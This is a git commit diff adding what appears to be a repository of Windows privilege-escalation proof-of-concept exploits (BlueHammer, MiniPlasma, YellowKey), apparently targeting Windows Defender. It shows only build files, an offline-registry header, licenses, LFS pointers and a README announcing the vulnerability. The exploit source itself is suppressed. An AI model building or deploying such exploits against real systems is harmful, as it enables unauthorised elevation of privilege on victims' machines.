This commit is contained in:
@@ -0,0 +1,10 @@
|
||||
MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.xml filter=lfs diff=lfs merge=lfs -text
|
||||
MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.dll filter=lfs diff=lfs merge=lfs -text
|
||||
YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000002 filter=lfs diff=lfs merge=lfs -text
|
||||
MiniPlasma/packages/NtApiDotNet.1.1.33/lib/netstandard2.0/NtApiDotNet.dll filter=lfs diff=lfs merge=lfs -text
|
||||
MiniPlasma/packages/NtApiDotNet.1.1.33/lib/net461/NtApiDotNet.xml filter=lfs diff=lfs merge=lfs -text
|
||||
YellowKey/FsTx/95F62703B343F111A92A005056975458/FsTxLogs/FsTxLogContainer00000000000000000001 filter=lfs diff=lfs merge=lfs -text
|
||||
BlueHammer/windefend_s.c filter=lfs diff=lfs merge=lfs -text
|
||||
BlueHammer/windefend_c.c filter=lfs diff=lfs merge=lfs -text
|
||||
MiniPlasma/packages/TaskScheduler.2.12.2/TaskScheduler.2.12.2.nupkg filter=lfs diff=lfs merge=lfs -text
|
||||
MiniPlasma/packages/NtApiDotNet.1.1.33/NtApiDotNet.1.1.33.nupkg filter=lfs diff=lfs merge=lfs -text
|
||||
Binary file not shown.
File diff suppressed because it is too large
Load Diff
Binary file not shown.
@@ -0,0 +1,31 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 17
|
||||
VisualStudioVersion = 17.14.36414.22 d17.14
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "FunnyApp", "FunnyApp.vcxproj", "{C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|x64 = Debug|x64
|
||||
Debug|x86 = Debug|x86
|
||||
Release|x64 = Release|x64
|
||||
Release|x86 = Release|x86
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x64.ActiveCfg = Debug|x64
|
||||
{C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x64.Build.0 = Debug|x64
|
||||
{C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x86.ActiveCfg = Debug|Win32
|
||||
{C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Debug|x86.Build.0 = Debug|Win32
|
||||
{C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x64.ActiveCfg = Release|x64
|
||||
{C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x64.Build.0 = Release|x64
|
||||
{C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x86.ActiveCfg = Release|Win32
|
||||
{C0C82A69-3EAD-4D50-A0EE-24B01449EAFA}.Release|x86.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
SolutionGuid = {B894FD1E-E0A4-4043-9950-2A946FC73C8C}
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,181 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|x64">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
</ItemGroup>
|
||||
<PropertyGroup Label="Globals">
|
||||
<VCProjectVersion>17.0</VCProjectVersion>
|
||||
<Keyword>Win32Proj</Keyword>
|
||||
<ProjectGuid>{c0c82a69-3ead-4d50-a0ee-24b01449eafa}</ProjectGuid>
|
||||
<RootNamespace>FunnyApp</RootNamespace>
|
||||
<WindowsTargetPlatformVersion>10.0</WindowsTargetPlatformVersion>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>true</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
<EnableASAN>false</EnableASAN>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration">
|
||||
<ConfigurationType>Application</ConfigurationType>
|
||||
<UseDebugLibraries>false</UseDebugLibraries>
|
||||
<PlatformToolset>v143</PlatformToolset>
|
||||
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||
<CharacterSet>Unicode</CharacterSet>
|
||||
</PropertyGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||
<ImportGroup Label="ExtensionSettings">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="Shared">
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||
</ImportGroup>
|
||||
<PropertyGroup Label="UserMacros" />
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<IncludePath>C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<IncludePath>C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<IncludePath>C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<IncludePath>C:\Program Files (x86)\Windows Kits\10\Include\10.0.26100.0\um;$(IncludePath)</IncludePath>
|
||||
</PropertyGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>TurnOffAllWarnings</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>
|
||||
</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalLibraryDirectories>
|
||||
</AdditionalLibraryDirectories>
|
||||
<AdditionalDependencies>$(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||
<ClCompile>
|
||||
<WarningLevel>TurnOffAllWarnings</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<AdditionalIncludeDirectories>
|
||||
</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalLibraryDirectories>
|
||||
</AdditionalLibraryDirectories>
|
||||
<AdditionalDependencies>$(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>TurnOffAllWarnings</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>
|
||||
</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalLibraryDirectories>
|
||||
</AdditionalLibraryDirectories>
|
||||
<AdditionalDependencies>$(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
<StackReserveSize>
|
||||
</StackReserveSize>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>TurnOffAllWarnings</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||
<AdditionalIncludeDirectories>
|
||||
</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
<AdditionalLibraryDirectories>
|
||||
</AdditionalLibraryDirectories>
|
||||
<AdditionalDependencies>$(CoreLibraryDependencies);$(ProjectDir)offreg.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="FunnyApp.cpp" />
|
||||
<ClCompile Include="windefend_c.c" />
|
||||
<ClCompile Include="windefend_s.c" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="offreg.h" />
|
||||
<ClInclude Include="resource.h" />
|
||||
<ClInclude Include="windefend_h.h" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="FunnyApp.rc" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Midl Include="windefend.idl" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,49 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="FunnyApp.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="windefend_c.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="windefend_s.c">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="resource.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="offreg.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="windefend_h.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="FunnyApp.rc">
|
||||
<Filter>Resource Files</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<Midl Include="windefend.idl">
|
||||
<Filter>Source Files</Filter>
|
||||
</Midl>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,4 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="Current" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<PropertyGroup />
|
||||
</Project>
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 Nightmare-Eclipse
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,19 @@
|
||||
# BlueHammer
|
||||
|
||||
|
||||
-----BEGIN PGP SIGNED MESSAGE-----
|
||||
Hash: SHA512
|
||||
|
||||
Repository hosting the bluehammer vulnerability
|
||||
|
||||
I'm just really wondering what was the math behind their decision, like you knew this was going to happen and you still did whatever you did ? Are they serious ?
|
||||
|
||||
-----BEGIN PGP SIGNATURE-----
|
||||
|
||||
iHUEARYKAB0WIQRJTvAf/AWVhAKEeb7FFoRCS0/SbAUCac8VlgAKCRDFFoRCS0/S
|
||||
bK8pAP9CzNnH26FVVdHZWVyDvOIwuZ1np1dTv7T5YaVCjf4tiwD+MC4Ikq+/ywdD
|
||||
I7dabkH7iSZflULM+hGUOur0mnAg9Qw=
|
||||
=Enhh
|
||||
-----END PGP SIGNATURE-----
|
||||
|
||||
Edit : There are few bugs in the PoC that could prevent it from working, might fix them later.
|
||||
@@ -0,0 +1,239 @@
|
||||
/*++
|
||||
|
||||
Copyright (c) Microsoft Corporation
|
||||
|
||||
Module Name:
|
||||
|
||||
offreg.h
|
||||
|
||||
Abstract:
|
||||
|
||||
This module contains the header file for the
|
||||
offreg utility.
|
||||
|
||||
--*/
|
||||
|
||||
#pragma once
|
||||
|
||||
#ifndef __OFFREG_H__
|
||||
#define __OFFREG_H__
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C"
|
||||
{
|
||||
#endif
|
||||
|
||||
|
||||
#if defined(OFFREG_DLL)
|
||||
#define ORAPI _declspec(dllexport) __stdcall
|
||||
#else
|
||||
#define ORAPI _declspec(dllimport) __stdcall
|
||||
#endif
|
||||
|
||||
typedef PVOID ORHKEY;
|
||||
typedef ORHKEY* PORHKEY;
|
||||
|
||||
VOID
|
||||
ORAPI
|
||||
ORGetVersion(
|
||||
_Out_ PDWORD pdwMajorVersion,
|
||||
_Out_ PDWORD pdwMinorVersion
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
OROpenHive(
|
||||
_In_ PCWSTR FilePath,
|
||||
_Out_ PORHKEY HORKey
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
OROpenHiveByHandle(
|
||||
_In_ HANDLE FileHandle,
|
||||
_Out_ PORHKEY HORKey
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORCreateHive(
|
||||
_Out_ PORHKEY HORKey
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORCloseHive(
|
||||
_In_ ORHKEY Handle
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORSaveHive(
|
||||
_In_ ORHKEY HORKey,
|
||||
_In_ PCWSTR HivePath,
|
||||
_In_ DWORD OsMajorVersion,
|
||||
_In_ DWORD OsMinorVersion
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
OROpenKey(
|
||||
_In_ ORHKEY Handle,
|
||||
_In_opt_ PCWSTR lpSubKey,
|
||||
_Out_ PORHKEY phkResult
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORCloseKey(
|
||||
_In_ ORHKEY KeyHandle
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORCreateKey(
|
||||
_In_ ORHKEY KeyHandle,
|
||||
_In_ PCWSTR lpSubKey,
|
||||
_In_opt_ PWSTR lpClass,
|
||||
_In_opt_ DWORD dwOptions,
|
||||
_In_opt_ PSECURITY_DESCRIPTOR pSecurityDescriptor,
|
||||
_Out_ PORHKEY phkResult,
|
||||
_Out_opt_ PDWORD pdwDisposition
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORDeleteKey(
|
||||
_In_ ORHKEY Handle,
|
||||
_In_opt_ PCWSTR lpSubKey
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORQueryInfoKey(
|
||||
_In_ ORHKEY Handle,
|
||||
_Out_writes_opt_(*lpcClass) PWSTR lpClass,
|
||||
_Inout_opt_ PDWORD lpcClass,
|
||||
_Out_opt_ PDWORD lpcSubKeys,
|
||||
_Out_opt_ PDWORD lpcMaxSubKeyLen,
|
||||
_Out_opt_ PDWORD lpcMaxClassLen,
|
||||
_Out_opt_ PDWORD lpcValues,
|
||||
_Out_opt_ PDWORD lpcMaxValueNameLen,
|
||||
_Out_opt_ PDWORD lpcMaxValueLen,
|
||||
_Out_opt_ PDWORD lpcbSecurityDescriptor,
|
||||
_Out_opt_ PFILETIME lpftLastWriteTime
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
OREnumKey(
|
||||
_In_ ORHKEY Handle,
|
||||
_In_ DWORD dwIndex,
|
||||
_Out_writes_(*lpcName) PWSTR lpName,
|
||||
_Inout_ PDWORD lpcName,
|
||||
_Out_writes_opt_(*lpcClass) PWSTR lpClass,
|
||||
_Inout_opt_ PDWORD lpcClass,
|
||||
_Out_opt_ PFILETIME lpftLastWriteTime
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORGetKeySecurity(
|
||||
_In_ ORHKEY Handle,
|
||||
_In_ SECURITY_INFORMATION SecurityInformation,
|
||||
_Out_opt_ PSECURITY_DESCRIPTOR pSecurityDescriptor,
|
||||
_Inout_ PDWORD lpcbSecurityDescriptor
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORSetKeySecurity(
|
||||
_In_ ORHKEY Handle,
|
||||
_In_ SECURITY_INFORMATION SecurityInformation,
|
||||
_In_ PSECURITY_DESCRIPTOR pSecurityDescriptor
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORGetVirtualFlags(
|
||||
_In_ ORHKEY Handle,
|
||||
_Out_ PDWORD pdwFlags
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORSetVirtualFlags(
|
||||
_In_ ORHKEY Handle,
|
||||
_In_ DWORD dwFlags
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORDeleteValue(
|
||||
_In_ ORHKEY Handle,
|
||||
_In_opt_ PCWSTR lpValueName
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORGetValue(
|
||||
_In_ ORHKEY Handle,
|
||||
_In_opt_ PCWSTR lpSubKey,
|
||||
_In_opt_ PCWSTR lpValue,
|
||||
_Out_opt_ PDWORD pdwType,
|
||||
_Out_writes_bytes_opt_(*pcbData) PVOID pvData,
|
||||
_Inout_opt_ PDWORD pcbData
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORSetValue(
|
||||
_In_ ORHKEY Handle,
|
||||
_In_opt_ PCWSTR lpValueName,
|
||||
_In_ DWORD dwType,
|
||||
_In_reads_bytes_opt_(cbData) const BYTE* lpData,
|
||||
_In_ DWORD cbData
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
OREnumValue(
|
||||
_In_ ORHKEY Handle,
|
||||
_In_ DWORD dwIndex,
|
||||
_Out_writes_(*lpcValueName) PWSTR lpValueName,
|
||||
_Inout_ PDWORD lpcValueName,
|
||||
_Out_opt_ PDWORD lpType,
|
||||
_Out_writes_bytes_opt_(*lpcbData) PBYTE lpData,
|
||||
_Inout_opt_ PDWORD lpcbData
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORRenameKey(
|
||||
_In_ ORHKEY Handle,
|
||||
_In_ PCWSTR lpNewName
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORStart(
|
||||
VOID
|
||||
);
|
||||
|
||||
VOID
|
||||
ORShutdown(
|
||||
VOID
|
||||
);
|
||||
|
||||
DWORD
|
||||
ORAPI
|
||||
ORMergeHives(
|
||||
_In_reads_(HiveCount) ORHKEY* HiveHandles,
|
||||
_In_ ULONG HiveCount,
|
||||
_Out_ PORHKEY phkResult
|
||||
);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif //__OFFREG_H__
|
||||
Binary file not shown.
@@ -0,0 +1,14 @@
|
||||
//{{NO_DEPENDENCIES}}
|
||||
// Microsoft Visual C++ generated include file.
|
||||
// Used by FunnyApp.rc
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 101
|
||||
#define _APS_NEXT_COMMAND_VALUE 40001
|
||||
#define _APS_NEXT_CONTROL_VALUE 1001
|
||||
#define _APS_NEXT_SYMED_VALUE 101
|
||||
#endif
|
||||
#endif
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,3 @@
|
||||
version https://git-lfs.github.com/spec/v1
|
||||
oid sha256:6c421080690de885a232a1aeb9df2a18ce9119e13b8ea110c5171803371b29a4
|
||||
size 1975946
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,3 @@
|
||||
version https://git-lfs.github.com/spec/v1
|
||||
oid sha256:1b43e026f63d47df0109d3300509c7943b659e6687e3a1e26040995550b6b32a
|
||||
size 1869017
|
||||
@@ -0,0 +1,21 @@
|
||||
MIT License
|
||||
|
||||
Copyright (c) 2026 Nightmare-Eclipse
|
||||
|
||||
Permission is hereby granted, free of charge, to any person obtaining a copy
|
||||
of this software and associated documentation files (the "Software"), to deal
|
||||
in the Software without restriction, including without limitation the rights
|
||||
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
|
||||
copies of the Software, and to permit persons to whom the Software is
|
||||
furnished to do so, subject to the following conditions:
|
||||
|
||||
The above copyright notice and this permission notice shall be included in all
|
||||
copies or substantial portions of the Software.
|
||||
|
||||
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
|
||||
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
|
||||
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
|
||||
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
|
||||
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
|
||||
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
|
||||
SOFTWARE.
|
||||
@@ -0,0 +1,25 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 12.00
|
||||
# Visual Studio Version 16
|
||||
VisualStudioVersion = 16.0.30413.136
|
||||
MinimumVisualStudioVersion = 10.0.40219.1
|
||||
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "PoC_AbortHydration_ArbitraryRegKey_EoP", "PoC_AbortHydration_ArbitraryRegKey_EoP\PoC_AbortHydration_ArbitraryRegKey_EoP.csproj", "{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Any CPU = Debug|Any CPU
|
||||
Release|Any CPU = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
|
||||
{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Debug|Any CPU.Build.0 = Debug|Any CPU
|
||||
{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Release|Any CPU.ActiveCfg = Release|Any CPU
|
||||
{352F6DD7-9B05-4896-9E7D-2EFA36EAC6E3}.Release|Any CPU.Build.0 = Release|Any CPU
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
GlobalSection(ExtensibilityGlobals) = postSolution
|
||||
